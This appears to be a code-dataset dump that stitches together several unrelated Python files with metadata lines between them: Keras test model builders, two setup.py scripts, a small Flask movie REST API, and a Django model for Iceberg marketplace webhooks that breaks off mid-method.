keras.layers.Dense(4, activation='relu') self.dense2 = keras.layers.Dense(2, activation='relu') self.inner_functional_model = get_functional_model() def call(self, inputs): x = self.dense1(inputs) x = self.inner_functional_model(x) return self.dense2(x) return ModelFn(NestedFunctionalInSubclassModel(), (None, 3), (None, 2)) def shared_layer_subclassed_model(): """Shared layer in a subclass model.""" class SharedLayerSubclassModel(keras.Model): """A subclass model with shared layers.""" def __init__(self): super(SharedLayerSubclassModel, self).__init__( name='shared_layer_subclass_model') self.dense = keras.layers.Dense(3, activation='relu') self.dp = keras.layers.Dropout(0.5) self.bn = keras.layers.BatchNormalization() def call(self, inputs): x = self.dense(inputs) x = self.dp(x) x = self.bn(x) return self.dense(x) return ModelFn(SharedLayerSubclassModel(), (None, 3), (None, 3)) def functional_with_keyword_args(): """A functional model with keyword args.""" inputs = keras.Input(shape=(3,)) x = keras.layers.Dense(4)(inputs) x = keras.layers.BatchNormalization()(x) outputs = keras.layers.Dense(2)(x) model = keras.Model(inputs, outputs, name='m', trainable=False) return ModelFn(model, (None, 3), (None, 2)) ALL_MODELS = [ ('basic_sequential', basic_sequential), ('basic_sequential_deferred', basic_sequential_deferred), ('stacked_rnn', stacked_rnn), ('lstm', lstm), ('multi_input_multi_output', multi_input_multi_output), ('nested_sequential_in_functional', nested_sequential_in_functional), ('seq_to_seq', seq_to_seq), ('shared_layer_functional', shared_layer_functional), ('shared_sequential', shared_sequential), ('nested_subclassed_model', nested_subclassed_model), ('nested_subclassed_in_functional_model', nested_subclassed_in_functional_model), ('nested_functional_in_subclassed_model', nested_functional_in_subclassed_model), ('shared_layer_subclassed_model', shared_layer_subclassed_model), ('functional_with_keyword_args', functional_with_keyword_args) ] def get_models(exclude_models=None): """Get all models excluding the specificed ones.""" models = [model for model in ALL_MODELS if model[0] not in exclude_models] return models
35.439446
80
0.69547
from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections from tensorflow.python import keras ModelFn = collections.namedtuple('ModelFn', ['model', 'input_shape', 'target_shape']) def basic_sequential(): model = keras.Sequential([ keras.layers.Dense(3, activation='relu', input_shape=(3,)), keras.layers.Dense(2, activation='softmax'), ]) return ModelFn(model, (None, 3), (None, 2)) def basic_sequential_deferred(): model = keras.Sequential([ keras.layers.Dense(3, activation='relu'), keras.layers.Dense(2, activation='softmax'), ]) return ModelFn(model, (None, 3), (None, 2)) def stacked_rnn(): inputs = keras.Input((None, 3)) layer = keras.layers.RNN([keras.layers.LSTMCell(2) for _ in range(3)]) x = layer(inputs) outputs = keras.layers.Dense(2)(x) model = keras.Model(inputs, outputs) return ModelFn(model, (None, 4, 3), (None, 2)) def lstm(): inputs = keras.Input((None, 3)) x = keras.layers.LSTM(4, return_sequences=True)(inputs) x = keras.layers.LSTM(3, return_sequences=True)(x) x = keras.layers.LSTM(2, return_sequences=False)(x) outputs = keras.layers.Dense(2)(x) model = keras.Model(inputs, outputs) return ModelFn(model, (None, 4, 3), (None, 2)) def multi_input_multi_output(): body_input = keras.Input(shape=(None,), name='body') tags_input = keras.Input(shape=(2,), name='tags') x = keras.layers.Embedding(10, 4)(body_input) body_features = keras.layers.LSTM(5)(x) x = keras.layers.concatenate([body_features, tags_input]) pred_1 = keras.layers.Dense(2, activation='sigmoid', name='priority')(x) pred_2 = keras.layers.Dense(3, activation='softmax', name='department')(x) model = keras.Model( inputs=[body_input, tags_input], outputs=[pred_1, pred_2]) return ModelFn(model, [(None, 1), (None, 2)], [(None, 2), (None, 3)]) def nested_sequential_in_functional(): inner_model = keras.Sequential([ keras.layers.Dense(3, activation='relu', input_shape=(3,)), keras.layers.Dense(2, activation='relu'), ]) inputs = keras.Input(shape=(3,)) x = inner_model(inputs) outputs = keras.layers.Dense(2, activation='softmax')(x) model = keras.Model(inputs, outputs) return ModelFn(model, (None, 3), (None, 2)) def seq_to_seq(): num_encoder_tokens = 3 num_decoder_tokens = 3 latent_dim = 2 encoder_inputs = keras.Input(shape=(None, num_encoder_tokens)) encoder = keras.layers.LSTM(latent_dim, return_state=True) _, state_h, state_c = encoder(encoder_inputs) encoder_states = [state_h, state_c] decoder_inputs = keras.Input(shape=(None, num_decoder_tokens)) decoder_lstm = keras.layers.LSTM( latent_dim, return_sequences=True, return_state=True) decoder_outputs, _, _ = decoder_lstm( decoder_inputs, initial_state=encoder_states) decoder_dense = keras.layers.Dense(num_decoder_tokens, activation='softmax') decoder_outputs = decoder_dense(decoder_outputs) model = keras.Model([encoder_inputs, decoder_inputs], decoder_outputs) return ModelFn( model, [(None, 2, num_encoder_tokens), (None, 2, num_decoder_tokens)], (None, 2, num_decoder_tokens)) def shared_layer_functional(): main_input = keras.Input(shape=(10,), dtype='int32', name='main_input') x = keras.layers.Embedding( output_dim=5, input_dim=4, input_length=10)(main_input) lstm_out = keras.layers.LSTM(3)(x) auxiliary_output = keras.layers.Dense( 1, activation='sigmoid', name='aux_output')(lstm_out) auxiliary_input = keras.Input(shape=(5,), name='aux_input') x = keras.layers.concatenate([lstm_out, auxiliary_input]) x = keras.layers.Dense(2, activation='relu')(x) main_output = keras.layers.Dense( 1, activation='sigmoid', name='main_output')(x) model = keras.Model( inputs=[main_input, auxiliary_input], outputs=[main_output, auxiliary_output]) return ModelFn(model, [(None, 10), (None, 5)], [(None, 1), (None, 1)]) def shared_sequential(): inner_model = keras.Sequential([ keras.layers.Conv2D(2, 3, activation='relu'), keras.layers.Conv2D(2, 3, activation='relu'), ]) inputs_1 = keras.Input((5, 5, 3)) inputs_2 = keras.Input((5, 5, 3)) x1 = inner_model(inputs_1) x2 = inner_model(inputs_2) x = keras.layers.concatenate([x1, x2]) outputs = keras.layers.GlobalAveragePooling2D()(x) model = keras.Model([inputs_1, inputs_2], outputs) return ModelFn(model, [(None, 5, 5, 3), (None, 5, 5, 3)], (None, 4)) class _MySubclassModel(keras.Model): def __init__(self): super(_MySubclassModel, self).__init__(name='my_subclass_model') self.dense1 = keras.layers.Dense(8, activation='relu') self.dense2 = keras.layers.Dense(2, activation='softmax') self.bn = keras.layers.BatchNormalization() self.dp = keras.layers.Dropout(0.5) def call(self, inputs, **kwargs): x = self.dense1(inputs) x = self.dp(x) x = self.bn(x) return self.dense2(x) def nested_subclassed_model(): class NestedSubclassModel(keras.Model): def __init__(self): super(NestedSubclassModel, self).__init__() self.dense1 = keras.layers.Dense(4, activation='relu') self.dense2 = keras.layers.Dense(2, activation='relu') self.bn = keras.layers.BatchNormalization() self.inner_subclass_model = _MySubclassModel() def call(self, inputs): x = self.dense1(inputs) x = self.bn(x) x = self.inner_subclass_model(x) return self.dense2(x) return ModelFn(NestedSubclassModel(), (None, 3), (None, 2)) def nested_subclassed_in_functional_model(): inner_subclass_model = _MySubclassModel() inputs = keras.Input(shape=(3,)) x = inner_subclass_model(inputs) x = keras.layers.BatchNormalization()(x) outputs = keras.layers.Dense(2, activation='softmax')(x) model = keras.Model(inputs, outputs) return ModelFn(model, (None, 3), (None, 2)) def nested_functional_in_subclassed_model(): def get_functional_model(): inputs = keras.Input(shape=(4,)) x = keras.layers.Dense(4, activation='relu')(inputs) x = keras.layers.BatchNormalization()(x) outputs = keras.layers.Dense(2)(x) return keras.Model(inputs, outputs) class NestedFunctionalInSubclassModel(keras.Model): def __init__(self): super(NestedFunctionalInSubclassModel, self).__init__( name='nested_functional_in_subclassed_model') self.dense1 = keras.layers.Dense(4, activation='relu') self.dense2 = keras.layers.Dense(2, activation='relu') self.inner_functional_model = get_functional_model() def call(self, inputs): x = self.dense1(inputs) x = self.inner_functional_model(x) return self.dense2(x) return ModelFn(NestedFunctionalInSubclassModel(), (None, 3), (None, 2)) def shared_layer_subclassed_model(): class SharedLayerSubclassModel(keras.Model): def __init__(self): super(SharedLayerSubclassModel, self).__init__( name='shared_layer_subclass_model') self.dense = keras.layers.Dense(3, activation='relu') self.dp = keras.layers.Dropout(0.5) self.bn = keras.layers.BatchNormalization() def call(self, inputs): x = self.dense(inputs) x = self.dp(x) x = self.bn(x) return self.dense(x) return ModelFn(SharedLayerSubclassModel(), (None, 3), (None, 3)) def functional_with_keyword_args(): inputs = keras.Input(shape=(3,)) x = keras.layers.Dense(4)(inputs) x = keras.layers.BatchNormalization()(x) outputs = keras.layers.Dense(2)(x) model = keras.Model(inputs, outputs, name='m', trainable=False) return ModelFn(model, (None, 3), (None, 2)) ALL_MODELS = [ ('basic_sequential', basic_sequential), ('basic_sequential_deferred', basic_sequential_deferred), ('stacked_rnn', stacked_rnn), ('lstm', lstm), ('multi_input_multi_output', multi_input_multi_output), ('nested_sequential_in_functional', nested_sequential_in_functional), ('seq_to_seq', seq_to_seq), ('shared_layer_functional', shared_layer_functional), ('shared_sequential', shared_sequential), ('nested_subclassed_model', nested_subclassed_model), ('nested_subclassed_in_functional_model', nested_subclassed_in_functional_model), ('nested_functional_in_subclassed_model', nested_functional_in_subclassed_model), ('shared_layer_subclassed_model', shared_layer_subclassed_model), ('functional_with_keyword_args', functional_with_keyword_args) ] def get_models(exclude_models=None): models = [model for model in ALL_MODELS if model[0] not in exclude_models] return models
true
true
f73d85fac979a7f6858805336dc68fb35d88d761
576
py
Python
setup.py
Kleen-Lab/linelength_event_detector
b4cc707214cfa053164b37a90ea0988e87aa17ec
[ "CC0-1.0" ]
1
2021-08-03T11:36:43.000Z
2021-08-03T11:36:43.000Z
setup.py
Kleen-Lab/linelength_event_detector
b4cc707214cfa053164b37a90ea0988e87aa17ec
[ "CC0-1.0" ]
null
null
null
setup.py
Kleen-Lab/linelength_event_detector
b4cc707214cfa053164b37a90ea0988e87aa17ec
[ "CC0-1.0" ]
null
null
null
from distutils.core import setup import setuptools with open("README.md", "r") as fh: long_description = fh.read() setup( name='linelength_event_detector', version='0.1.0', author='Emma D\'Esopo', author_email='emma.d\'esopo@ucsf.edu', description='Tool for detecting spikes in EEG data using a linelength transform algorithm.', long_description=long_description, url='https://github.com/ChangLabUcsf/linelength_event_detector', packages=[], scripts=[], install_requires=[ 'numpy', 'scipy', 'numba', 'pytest' ], )
27.428571
96
0.677083
from distutils.core import setup import setuptools with open("README.md", "r") as fh: long_description = fh.read() setup( name='linelength_event_detector', version='0.1.0', author='Emma D\'Esopo', author_email='emma.d\'esopo@ucsf.edu', description='Tool for detecting spikes in EEG data using a linelength transform algorithm.', long_description=long_description, url='https://github.com/ChangLabUcsf/linelength_event_detector', packages=[], scripts=[], install_requires=[ 'numpy', 'scipy', 'numba', 'pytest' ], )
true
true
f73d870854643f1775a707904fbf7cbbea01e023
2,000
py
Python
forflask/app.py
yellowjung/docker-movie-project
d151c13e39ad58ab313f311cd836034fd7a4b1dc
[ "Apache-2.0" ]
null
null
null
forflask/app.py
yellowjung/docker-movie-project
d151c13e39ad58ab313f311cd836034fd7a4b1dc
[ "Apache-2.0" ]
null
null
null
forflask/app.py
yellowjung/docker-movie-project
d151c13e39ad58ab313f311cd836034fd7a4b1dc
[ "Apache-2.0" ]
null
null
null
from flask import Flask, request, Response from flask_restx import Resource, Api, fields from flask import abort, jsonify from flask_cors import CORS app = Flask(__name__) CORS(app) api = Api(app) ns_movies = api.namespace('ns_movies', description='Movies APIs') movie_data = api.model( 'Movie Data', { "name": fields.String(description="movie name", required=True), "price": fields.Integer(description="movie price", required=True), "descript": fields.String(description="descript", required=True), } ) movie_info = {} number_of_movies = 0 @ns_movies.route('/movies') class movies(Resource): def get(self): return { 'number_of_movies': number_of_movies, 'movie_info': movie_info } @ns_movies.route('/movies/<string:name>') class movies_name(Resource): # 영화 정보 조회 def get(self, name): if not name in movie_info.keys(): abort(404, description=f"Movie {name} doesn't exist") data = movie_info[name] return { 'number_of_movies': len(data.keys()), 'data': data } # 새로운 영화 생성 @api.expect(movie_data) # body def post(self, name): if name in movie_info.keys(): abort(404, description=f"Movie {name} already exists") params = request.get_json() # get body json movie_info[name] = params global number_of_movies number_of_movies += 1 return Response(status=200) # 영화 정보 삭제 def delete(self, name): if not name in movie_info.keys(): abort(404, description=f"Movie {name} doesn't exists") del movie_info[name] number_of_movies -= 1 return Response(status=200) # 영화 이름 변경 @api.expect(movie_data) def put(self, name): global movie_info if not name in movie_info.keys(): abort(404, description=f"Movie {name} doesn't exists") params = request.get_json() movie_info[name] = params return Response(status=200) if __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=65432)
24.390244
72
0.66
from flask import Flask, request, Response from flask_restx import Resource, Api, fields from flask import abort, jsonify from flask_cors import CORS app = Flask(__name__) CORS(app) api = Api(app) ns_movies = api.namespace('ns_movies', description='Movies APIs') movie_data = api.model( 'Movie Data', { "name": fields.String(description="movie name", required=True), "price": fields.Integer(description="movie price", required=True), "descript": fields.String(description="descript", required=True), } ) movie_info = {} number_of_movies = 0 @ns_movies.route('/movies') class movies(Resource): def get(self): return { 'number_of_movies': number_of_movies, 'movie_info': movie_info } @ns_movies.route('/movies/<string:name>') class movies_name(Resource): def get(self, name): if not name in movie_info.keys(): abort(404, description=f"Movie {name} doesn't exist") data = movie_info[name] return { 'number_of_movies': len(data.keys()), 'data': data } # 새로운 영화 생성 @api.expect(movie_data) # body def post(self, name): if name in movie_info.keys(): abort(404, description=f"Movie {name} already exists") params = request.get_json() # get body json movie_info[name] = params global number_of_movies number_of_movies += 1 return Response(status=200) # 영화 정보 삭제 def delete(self, name): if not name in movie_info.keys(): abort(404, description=f"Movie {name} doesn't exists") del movie_info[name] number_of_movies -= 1 return Response(status=200) @api.expect(movie_data) def put(self, name): global movie_info if not name in movie_info.keys(): abort(404, description=f"Movie {name} doesn't exists") params = request.get_json() movie_info[name] = params return Response(status=200) if __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=65432)
true
true
f73d889d738be23e250b203e5fc4a1636e8f18e9
2,065
py
Python
code/deployment/triton/bidaf_utils.py
gvashishtha/azureml-examples
dc7ee4c01410757beeaa52a4f696882ca38e0be7
[ "MIT" ]
1
2021-03-19T13:24:03.000Z
2021-03-19T13:24:03.000Z
code/deployment/triton/bidaf_utils.py
gvashishtha/azureml-examples
dc7ee4c01410757beeaa52a4f696882ca38e0be7
[ "MIT" ]
null
null
null
code/deployment/triton/bidaf_utils.py
gvashishtha/azureml-examples
dc7ee4c01410757beeaa52a4f696882ca38e0be7
[ "MIT" ]
null
null
null
"""score_bidaf.py Scoring script for use with the Bi-directional Attention Flow model from the ONNX model zoo. https://github.com/onnx/models/tree/master/text/machine_comprehension/bidirectional_attention_flow """ import json import nltk import numpy as np import os from nltk import word_tokenize from utils import get_model_info, parse_model_http, triton_init, triton_infer from tritonclientutils import triton_to_np_dtype def preprocess(text, dtype): """Tokenizes text for use in the bidirectional attention flow model Parameters --------- text : str Text to be tokenized dtype : numpy datatype Datatype of the resulting array Returns --------- (np.array(), np.array()) Tuple containing two numpy arrays with the tokenized words and chars, respectively. From: https://github.com/onnx/models/tree/master/text/machine_comprehension/bidirectional_attention_flow # noqa """ nltk.download("punkt") tokens = word_tokenize(text) # split into lower-case word tokens, in numpy array with shape of (seq, 1) words = np.array([w.lower() for w in tokens], dtype=dtype).reshape(-1, 1) # split words into chars, in numpy array with shape of (seq, 1, 1, 16) chars = [[c for c in t][:16] for t in tokens] chars = [cs + [""] * (16 - len(cs)) for cs in chars] chars = np.array(chars, dtype=dtype).reshape(-1, 1, 1, 16) return words, chars def postprocess(context_words, answer): """Post-process results to show the chosen result Parameters -------- context_words : str Original context answer : InferResult Triton inference result containing start and end positions of desired answer Returns -------- Numpy array containing the words from the context that answer the given query. """ start = answer.as_numpy("start_pos")[0] end = answer.as_numpy("end_pos")[0] print(f"start is {start}, end is {end}") return [w.encode() for w in context_words[start : end + 1].reshape(-1)]
29.927536
116
0.677482
import json import nltk import numpy as np import os from nltk import word_tokenize from utils import get_model_info, parse_model_http, triton_init, triton_infer from tritonclientutils import triton_to_np_dtype def preprocess(text, dtype): nltk.download("punkt") tokens = word_tokenize(text) words = np.array([w.lower() for w in tokens], dtype=dtype).reshape(-1, 1) chars = [[c for c in t][:16] for t in tokens] chars = [cs + [""] * (16 - len(cs)) for cs in chars] chars = np.array(chars, dtype=dtype).reshape(-1, 1, 1, 16) return words, chars def postprocess(context_words, answer): start = answer.as_numpy("start_pos")[0] end = answer.as_numpy("end_pos")[0] print(f"start is {start}, end is {end}") return [w.encode() for w in context_words[start : end + 1].reshape(-1)]
true
true
f73d88bdc2fdc43e9668d90098358a30c8d175d3
1,304
py
Python
radioAndCheckBoxes.py
islam-shamiul/Selenium_python
ee4cea5e58ab9afa88b3ba3e70aef52ec4808d4a
[ "MIT" ]
null
null
null
radioAndCheckBoxes.py
islam-shamiul/Selenium_python
ee4cea5e58ab9afa88b3ba3e70aef52ec4808d4a
[ "MIT" ]
null
null
null
radioAndCheckBoxes.py
islam-shamiul/Selenium_python
ee4cea5e58ab9afa88b3ba3e70aef52ec4808d4a
[ "MIT" ]
1
2020-07-21T08:43:25.000Z
2020-07-21T08:43:25.000Z
from selenium import webdriver from selenium.webdriver.common.keys import Keys import time driver = webdriver.Chrome(executable_path="E:/SQA/chromedriver_win32/chromedriver.exe") driver.get("https://fs2.formsite.com/meherpavan/form2/index.html?1537702596407") textBoxes = driver.find_elements_by_class_name("text_field") print(len(textBoxes)) driver.find_element_by_id("RESULT_TextField-1").send_keys("shamiul") driver.find_element_by_id("RESULT_TextField-2").send_keys("islam") driver.find_element_by_id("RESULT_TextField-3").send_keys("017000000000") driver.find_element_by_id("RESULT_TextField-4").send_keys("bangladesh") driver.find_element_by_id("RESULT_TextField-5").send_keys("dhaka") driver.find_element_by_id("RESULT_TextField-6").send_keys("lol@lol.com") value=driver.find_element_by_id("RESULT_RadioButton-7_0").is_selected() print(value) driver.find_element_by_xpath("//*[@id='q26']/table/tbody/tr[1]/td/label").click() value = driver.find_element_by_id("RESULT_RadioButton-7_0").is_selected() print(value) checkbox = driver.find_element_by_id("RESULT_CheckBox-8_1").is_selected() print(checkbox) driver.find_element_by_xpath("//*[@id='q15']/table/tbody/tr[1]/td/label").click() driver.find_element_by_xpath("//*[@id='q15']/table/tbody/tr[6]/td/label").click() time.sleep(10) driver.quit()
48.296296
87
0.798313
from selenium import webdriver from selenium.webdriver.common.keys import Keys import time driver = webdriver.Chrome(executable_path="E:/SQA/chromedriver_win32/chromedriver.exe") driver.get("https://fs2.formsite.com/meherpavan/form2/index.html?1537702596407") textBoxes = driver.find_elements_by_class_name("text_field") print(len(textBoxes)) driver.find_element_by_id("RESULT_TextField-1").send_keys("shamiul") driver.find_element_by_id("RESULT_TextField-2").send_keys("islam") driver.find_element_by_id("RESULT_TextField-3").send_keys("017000000000") driver.find_element_by_id("RESULT_TextField-4").send_keys("bangladesh") driver.find_element_by_id("RESULT_TextField-5").send_keys("dhaka") driver.find_element_by_id("RESULT_TextField-6").send_keys("lol@lol.com") value=driver.find_element_by_id("RESULT_RadioButton-7_0").is_selected() print(value) driver.find_element_by_xpath("//*[@id='q26']/table/tbody/tr[1]/td/label").click() value = driver.find_element_by_id("RESULT_RadioButton-7_0").is_selected() print(value) checkbox = driver.find_element_by_id("RESULT_CheckBox-8_1").is_selected() print(checkbox) driver.find_element_by_xpath("//*[@id='q15']/table/tbody/tr[1]/td/label").click() driver.find_element_by_xpath("//*[@id='q15']/table/tbody/tr[6]/td/label").click() time.sleep(10) driver.quit()
true
true
f73d88d4d47d28596af860eaef19301c1435b217
1,917
py
Python
src/command_modules/azure-cli-profile/setup.py
taliesins/azure-cli
a2451fe7148dfdd005f0f2ec797915eb479f6f6a
[ "MIT" ]
null
null
null
src/command_modules/azure-cli-profile/setup.py
taliesins/azure-cli
a2451fe7148dfdd005f0f2ec797915eb479f6f6a
[ "MIT" ]
null
null
null
src/command_modules/azure-cli-profile/setup.py
taliesins/azure-cli
a2451fe7148dfdd005f0f2ec797915eb479f6f6a
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- from codecs import open from setuptools import setup try: from azure_bdist_wheel import cmdclass except ImportError: from distutils import log as logger logger.warn("Wheel is not available, disabling bdist_wheel hook") cmdclass = {} VERSION = "2.0.24" CLASSIFIERS = [ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'License :: OSI Approved :: MIT License', ] DEPENDENCIES = [ 'adal>=0.4.7', 'azure-cli-core', ] with open('README.rst', 'r', encoding='utf-8') as f: README = f.read() with open('HISTORY.rst', 'r', encoding='utf-8') as f: HISTORY = f.read() setup( name='azure-cli-profile', version=VERSION, description='Microsoft Azure Command-Line Tools Profile Command Module', long_description=README + '\n\n' + HISTORY, license='MIT', author='Microsoft Corporation', author_email='azpycli@microsoft.com', url='https://github.com/Azure/azure-cli', classifiers=CLASSIFIERS, packages=[ 'azure', 'azure.cli', 'azure.cli.command_modules', 'azure.cli.command_modules.profile', ], install_requires=DEPENDENCIES, cmdclass=cmdclass )
31.42623
94
0.598852
from codecs import open from setuptools import setup try: from azure_bdist_wheel import cmdclass except ImportError: from distutils import log as logger logger.warn("Wheel is not available, disabling bdist_wheel hook") cmdclass = {} VERSION = "2.0.24" CLASSIFIERS = [ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Programming Language :: Python', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'License :: OSI Approved :: MIT License', ] DEPENDENCIES = [ 'adal>=0.4.7', 'azure-cli-core', ] with open('README.rst', 'r', encoding='utf-8') as f: README = f.read() with open('HISTORY.rst', 'r', encoding='utf-8') as f: HISTORY = f.read() setup( name='azure-cli-profile', version=VERSION, description='Microsoft Azure Command-Line Tools Profile Command Module', long_description=README + '\n\n' + HISTORY, license='MIT', author='Microsoft Corporation', author_email='azpycli@microsoft.com', url='https://github.com/Azure/azure-cli', classifiers=CLASSIFIERS, packages=[ 'azure', 'azure.cli', 'azure.cli.command_modules', 'azure.cli.command_modules.profile', ], install_requires=DEPENDENCIES, cmdclass=cmdclass )
true
true
f73d88dec5a5ca5d76e34a0b7f60d9bbee4e3ff1
9,980
py
Python
django_iceberg/models/webhook_models.py
Iceberg-Marketplace/django-iceberg
22bff29dfa1ab6435991ecca71bea5853509c717
[ "MIT" ]
null
null
null
django_iceberg/models/webhook_models.py
Iceberg-Marketplace/django-iceberg
22bff29dfa1ab6435991ecca71bea5853509c717
[ "MIT" ]
null
null
null
django_iceberg/models/webhook_models.py
Iceberg-Marketplace/django-iceberg
22bff29dfa1ab6435991ecca71bea5853509c717
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from django.db import models from django.conf import settings from django.utils.translation import ugettext_lazy as _ from .base_models import IcebergBaseModel WEBHOOK_MAX_TRIGGER_AGGREGATION = getattr(settings, 'WEBHOOK_MAX_TRIGGER_AGGREGATION', 200) WEBHOOK_DEFAULT_AGGREGATION_DELAY = getattr(settings, 'WEBHOOK_DEFAULT_AGGREGATION_DELAY', 5*60) WEBHOOK_DEFAULT_RETRY_DELAY = getattr(settings, 'WEBHOOK_DEFAULT_RETRY_DELAY', 15*60) WEBHOOK_DEFAULT_MAX_ATTEMPTS = getattr(settings, 'WEBHOOK_DEFAULT_MAX_ATTEMPTS', 5) WEBHOOK_DEFAULT_MAX_TRIGGER_AGGREGATION = getattr(settings, 'WEBHOOK_DEFAULT_MAX_TRIGGER_AGGREGATION', 10) ICEBERG_WEBHOOK_MODEL = getattr(settings, "ICEBERG_WEBHOOK_MODEL", "django_iceberg.IcebergWebhook") import logging logger = logging.getLogger(__name__) class AbstractIcebergWebhook(IcebergBaseModel): """ Abstract model that can store an Iceberg Webhook """ class Meta: abstract = True EVENT_CHOICES = ( ('cart_status_changed', ('A cart status has changed')), ('merchant_order_authorized', ('A new merchant order is now authorized')), ('merchant_order_confirmed', ('A merchant order is now confirmed')), ('merchant_order_cancelled', ('An authorized merchant order is now cancelled')), ('merchant_order_sent', ('A merchant order is now sent')), ('merchant_order_received', ('A merchant order is now received')), ('order_item_cancelled', ('An authorized order item is now cancelled')), ('new_merchant_available', ('A new merchant is available for your application')), ('merchant_activated', ('A merchant is now activated')), ('merchant_paused', ('A merchant is now paused')), ('merchant_stopped', ('A merchant is now stopped')), ('bank_account_saved', ("A merchant saved bank information.")), ('user_payment_card_created', ('A user has added a new payment card')), ('user_payment_card_status_changed', ('A user payment card has its status changed')), ('payment_status_changed', ('A payment object has its status updated')), ('product_updated', ('An active product has been updated')), ('product_offer_updated', ('An active product offer has been updated')), ('user_profile_updated', ('A user profile has been updated')), ('order_authorized', ('A new order is now authorized')), ('order_confirmed', ('An order is now confirmed')), ('order_cancelled', ('An authorized order is now cancelled')), ('order_sent', ('An order is now sent')), ('order_received', ('An order is now received')), ('return_opened', ('A new return request has been opened')), ('return_reopened', ('A closed or cancelled return request has been reopened and set to accepted status')), ('return_accepted', ('An open return request is now accepted')), ('return_cancelled', ('An open or accepted return request has been cancelled')), ('return_package_received', ('An accepted return request\'s package was received.')), ('return_closed_by_seller', ('A return request has been closed by seller')), ('return_closed_by_buyer', ('A return request has been closed by buyer')), ('return_request_closed', ('A return request has been closed either by buyer or by seller')), ('package_tracking_status_changed', ('A tracked package has its status updated')), ('package_tracking_overall_status_changed', ('A tracked package has its overall status updated')), ('package_tracking_number_added', ('A tracked package has now a tracking number')), ('new_package_tracking', ('A new package is being tracked')), ('new_message', ('A new message has been sent over the marketplace')), ('message_read', ('A message has been read on the marketplace')), ('message_closed', ('A thread of messages is closed on the marketplace')), ) event = models.CharField(max_length=100, choices=EVENT_CHOICES, db_index=True) url = models.URLField('Target URL', max_length=255) active_merchant_only = models.BooleanField( _('Limit this webhook to active merchant(s) ?'), default=True ) aggregation_delay = models.PositiveIntegerField( _('Delay in seconds before triggering the aggregated webhook'), default=WEBHOOK_DEFAULT_AGGREGATION_DELAY ) application_id = models.PositiveIntegerField(blank=True, null=True) merchant_id = models.PositiveIntegerField(blank=True, null=True) comment = models.CharField(max_length=255, null=True, blank=True) label = models.CharField(max_length=128, null=True, blank=True, db_index=True) created_at = models.DateTimeField(blank=True, null=True) max_attempts = models.PositiveSmallIntegerField( _('Maximum Attempts'), default = WEBHOOK_DEFAULT_MAX_ATTEMPTS ) new_attempt_delay = models.PositiveIntegerField( _('Delay in seconds before retrying to fire the webhook'), default = WEBHOOK_DEFAULT_RETRY_DELAY ) max_trigger_aggregation = models.PositiveSmallIntegerField( _('Maximum number of triggers that can be aggregated (1 if no aggregation)'), default = WEBHOOK_DEFAULT_MAX_TRIGGER_AGGREGATION ) status = models.CharField(null=True, blank=True, max_length=20, db_index=True) updated_at = models.DateTimeField(blank=True, null=True) user_id = models.PositiveIntegerField(blank=True, null=True) version = models.CharField( _('Version of the webhook (different formats)'), max_length=10, blank=True, null=True ) def __unicode__(self): return u"[%s]%s" % (self.id, self.event) def save(self, api_handler=None, iceberg_sync=True, *args, **kwargs): """ if an api_handler is given, update or create the webhook on iceberg """ self.full_clean() super(AbstractIcebergWebhook, self).save(*args, **kwargs) if not iceberg_sync: return if api_handler: self.create_or_update_on_iceberg(api_handler) else: if self.iceberg_id is None: logger.warn("No api_handler given as save() params, not created on Iceberg.\ Call self.create_or_update_on_iceberg to create it") else: logger.warn("No api_handler given as save() params, not updated on Iceberg.\ Call self.create_or_update_on_iceberg to update it") def create_or_update_on_iceberg(self, api_handler): iceberg_webhook = api_handler.Webhook.find(self.iceberg_id) if self.iceberg_id else api_handler.Webhook() iceberg_webhook.application = api_handler.Application.find(self.application_id) if self.application_id else None iceberg_webhook.merchant = api_handler.Store.find(self.merchant_id) if self.merchant_id else None iceberg_webhook.event = self.event iceberg_webhook.url = self.url iceberg_webhook.active_merchant_only = self.active_merchant_only iceberg_webhook.aggregation_delay = self.aggregation_delay iceberg_webhook.comment = self.comment iceberg_webhook.label = self.label iceberg_webhook.max_attempts = self.max_attempts iceberg_webhook.new_attempt_delay = self.new_attempt_delay iceberg_webhook.max_trigger_aggregation = self.max_trigger_aggregation iceberg_webhook.save() self.iceberg_id = iceberg_webhook.id ## calling iceberg_sync() to update the fields of 'self' to the actual values (some fields might be uneditable) self.iceberg_sync(api_handler) def delete(self, api_handler=None, *args, **kwargs): """ if an api_handler is given, try to delete the webhook on iceberg """ if api_handler: self._iceberg_delete(api_handler, fail_silently=True) super(AbstractIcebergWebhook, self).delete(*args, **kwargs) def iceberg_sync(self, api_handler): if self.iceberg_id is None: raise Exception("%s instance has no iceberg_id, can't sync" % self.__class__.__name__) iceberg_webhook = api_handler.Webhook.find(self.iceberg_id) self.application_id = iceberg_webhook.application.id if iceberg_webhook.application else None self.merchant_id = iceberg_webhook.merchant.id if iceberg_webhook.merchant else None self.url = iceberg_webhook.url self.event = iceberg_webhook.event self.status = iceberg_webhook.status self.max_attempts = iceberg_webhook.max_attempts self.new_attempt_delay = iceberg_webhook.new_attempt_delay self.label = iceberg_webhook.label self.version = iceberg_webhook.version self.max_trigger_aggregation = iceberg_webhook.max_trigger_aggregation self.aggregation_delay = iceberg_webhook.aggregation_delay self.active_merchant_only = iceberg_webhook.active_merchant_only self.created_at = iceberg_webhook.created_at self.updated_at = iceberg_webhook.updated_at super(AbstractIcebergWebhook, self).save() ## just calling the original save() def _iceberg_delete(self, api_handler, fail_silently=False): try: if self.iceberg_id is None: raise Exception("%s instance has no iceberg_id, can't sync" % self.__class__.__name__) 